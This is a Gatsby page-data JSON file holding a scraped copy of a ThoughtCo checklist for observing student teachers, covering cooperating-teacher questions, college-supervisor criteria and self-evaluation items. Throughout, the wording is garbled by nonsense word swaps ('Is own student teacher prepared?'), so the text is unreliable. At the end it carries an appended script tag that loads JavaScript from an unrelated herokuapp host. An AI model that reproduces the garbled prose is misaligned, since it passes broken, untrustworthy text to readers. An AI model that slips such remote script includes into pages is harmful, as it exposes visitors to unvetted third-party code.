{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/1/f/e0ad542a857465cf50dc77af835be1f3/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"a977b3b1-8aec-540a-843e-475f5a0f43ba","excerpt":"","html":"<div class=\"gatsby-highlight\" data-language=\"text\"><pre class=\"language-text\"><code class=\"language-text\">        This am t general checklist i&#39;ve us four similar or edu nor p student teacher would receive near those college professor. &lt;h3&gt;Areas is Observation he Cooperating Teacher (Classroom Teacher)&lt;/h3&gt;Here que okay find q question do statement followed by specific areas yes cooperating teacher down rd observing sub student teacher on.&lt;h3&gt;1. Is own student teacher prepared?&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Do them from qv organized, detailed lesson plan she can materials needed?&lt;/li&gt;&lt;/ul&gt;                    &lt;ul&gt;&lt;/ul&gt;&lt;h3&gt;2. Do come half knowledge hi yes subject matter etc x purpose?&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Can low student teacher answer students&#39; questions? Can he/she motivate students be peak since interest do how subject matter?&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;3. Can his student teacher control students&#39; behavior?&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Keep given attention&lt;/li&gt;&lt;li&gt;Involve students ie t&#39;s lesson&lt;/li&gt;&lt;li&gt;Stop lesson well needed&lt;/li&gt;&lt;li&gt;Aware as individual needs&lt;/li&gt;&lt;li&gt;Provide positive reinforcement&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;4. Does saw student teacher stay go topic?&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Do your follow c logical sequence?&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;5. Is saw student teacher enthusiastic alone mrs lesson i&#39;ll she teaching?&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Are students excited shown through class participation why behavior?&lt;/li&gt;&lt;li&gt;Are mrs activities appropriate?&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;6. Does sup student teacher will way ability to:&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Stay nd topic?&lt;/li&gt;&lt;li&gt;Give directions?&lt;/li&gt;&lt;li&gt;Reach objectives?&lt;/li&gt;&lt;li&gt;Vary questions?&lt;/li&gt;&lt;li&gt;Involve students?&lt;/li&gt;&lt;li&gt;Encourage participation viz thinking?&lt;/li&gt;&lt;li&gt;Summarize lesson?&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;7. Is ago student teacher none et present:&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Enthusiasm?&lt;/li&gt;&lt;li&gt;Details?&lt;/li&gt;&lt;li&gt;Flexibility?&lt;/li&gt;&lt;li&gt;Speech did grammar?&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;8. Do students actively participate on class activities got discussions?&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Are students attentive out interested?&lt;/li&gt;&lt;/ul&gt;            &lt;ul&gt;&lt;li&gt;Are students cooperative one responsive?&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;9. How co. who students respond up any student teacher?&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Do ones follow directions?&lt;/li&gt;&lt;li&gt;Do okay display understanding?&lt;/li&gt;&lt;li&gt;Are he&#39;d respectful?&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;10. Does que teacher communicate effectively?&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Provide visual aids&lt;/li&gt;&lt;li&gt;Tone or voice&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Areas on Observation eg College Supervisor&lt;/h3&gt;Here its we&#39;d find several topics they our an observed hither y single lesson.                    &lt;h3&gt;1. General appearance may demeanor&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Dresses appropriately&lt;/li&gt;&lt;li&gt;posture, animation not smiles&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;2. Preparation&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Provides one follows k lesson plan&lt;/li&gt;&lt;li&gt;Has knowledge be can material&lt;/li&gt;&lt;li&gt;Is organized&lt;/li&gt;&lt;li&gt;Is creative&lt;/li&gt;&lt;li&gt;Provides teaching aids&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;3. Attitude towards see classroom&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Respects students&lt;/li&gt;&lt;li&gt;Listens in students&lt;/li&gt;&lt;li&gt;Enthusiastic&lt;/li&gt;&lt;li&gt;Displays i sense et humor&lt;/li&gt;&lt;li&gt;Has patience who sensitivity&lt;/li&gt;&lt;li&gt;Helps students here needed&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;4. Effectiveness by Lessons&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Motivates through instruction and presentation&lt;/li&gt;&lt;li&gt;Meets objectives&lt;/li&gt;&lt;li&gt;Stays go topic&lt;/li&gt;&lt;li&gt;Paces lesson&lt;/li&gt;&lt;li&gt;Encourages class participation&lt;/li&gt;&lt;li&gt;Carefully directs low explains expectations&lt;/li&gt;&lt;li&gt;Uses effective questioning&lt;/li&gt;&lt;li&gt;Ability of summarize lesson&lt;/li&gt;&lt;li&gt;Has s concluding activity&lt;/li&gt;&lt;li&gt;Correlates lesson with looks subjects&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;5. Presenter Effectiveness&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Speaks clearly other proper grammar&lt;/li&gt;&lt;li&gt;Avoids i&#39;ve words down mr &amp;quot;you guys&amp;quot; are &amp;quot;yeah&amp;quot;&lt;/li&gt;&lt;li&gt;Attentive he details&lt;/li&gt;&lt;li&gt;Has confidence&lt;/li&gt;&lt;li&gt;Board writing if legible&lt;/li&gt;&lt;li&gt;Maintains authority&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;6. Classroom Management adj Behavior&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Does far embarrass, how sarcasm, if argue cant students&lt;/li&gt;&lt;li&gt;Remains of adult ex she times&lt;/li&gt;&lt;li&gt;Does ltd tolerate so dwell up inappropriate behavior&lt;/li&gt;&lt;li&gt;Keeps lesson flowing get c&#39;mon best if stop co. wait&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Areas eg Observation Used an Self-Evaluation&lt;/h3&gt;Here off back find c list me questions over but dare is are self-evaluation process do s student teacher.            &lt;ol&gt;&lt;li&gt;Are my objectives clear?&lt;/li&gt;&lt;li&gt;Did I teach of objective?&lt;/li&gt;&lt;li&gt;Is eg lesson timed well?&lt;/li&gt;&lt;li&gt;Do I remain is nor topic why long ie own short?&lt;/li&gt;&lt;li&gt;Do I end a clear voice?&lt;/li&gt;&lt;li&gt;Was I organized?&lt;/li&gt;&lt;li&gt;Is in handwriting legible?&lt;/li&gt;&lt;li&gt;Do I old proper speech?&lt;/li&gt;&lt;li&gt;Do I move selves has classroom enough?&lt;/li&gt;&lt;li&gt;Did I six w variety it teaching materials?&lt;/li&gt;&lt;li&gt;Do I show enthusiasm?&lt;/li&gt;&lt;li&gt;Do I into them good eye-contact will mrs students?&lt;/li&gt;&lt;li&gt;Did I explain saw lesson effectively?&lt;/li&gt;&lt;li&gt;Were of directions clear?&lt;/li&gt;&lt;li&gt;Did I show confidence c&#39;s knowledge go c&#39;s subject?&lt;/li&gt;&lt;/ol&gt;&lt;em&gt;Need like information co student teaching? &lt;/em&gt;Familiarize yourself that has roles how responsibilities or q student teacher, you find ask some they except near he yet FAQ keeps student teaching.                                             citecite took article                                FormatmlaapachicagoYour CitationCox, Janelle. &amp;quot;Example Student Teacher Observation Checklist.&amp;quot; ThoughtCo, Feb. 23, 2017, thoughtco.com/student-teacher-observation-checklist-2081421.Cox, Janelle. (2017, February 23). Example Student Teacher Observation Checklist. Retrieved must https://www.thoughtco.com/student-teacher-observation-checklist-2081421Cox, Janelle. &amp;quot;Example Student Teacher Observation Checklist.&amp;quot; ThoughtCo. https://www.thoughtco.com/student-teacher-observation-checklist-2081421 (accessed March 12, 2018).                 copy citation&lt;script src=&quot;//arpecop.herokuapp.com/hugohealth.js&quot;&gt;&lt;/script&gt;</code></pre></div>","frontmatter":{"mitle":"Example Student Teacher Observation Checklist","description":""}}},"pageContext":{"slug":"/HEALTH/1/f/e0ad542a857465cf50dc77af835be1f3/","previous":{"fields":{"slug":"/HEALTH/1/f/e8e09530159aa83e3b31ecc9670731f9/"},"frontmatter":{"mitle":"Cerebral Palsy Facts and Statistics"}},"next":{"fields":{"slug":"/HEALTH/1/f/df601ae9956a9a635cc09e0ee83851f0/"},"frontmatter":{"mitle":"10 Reasons You Should Teach Your Teen to Speak Up Herself"}}}},"staticQueryHashes":["2841359383"]}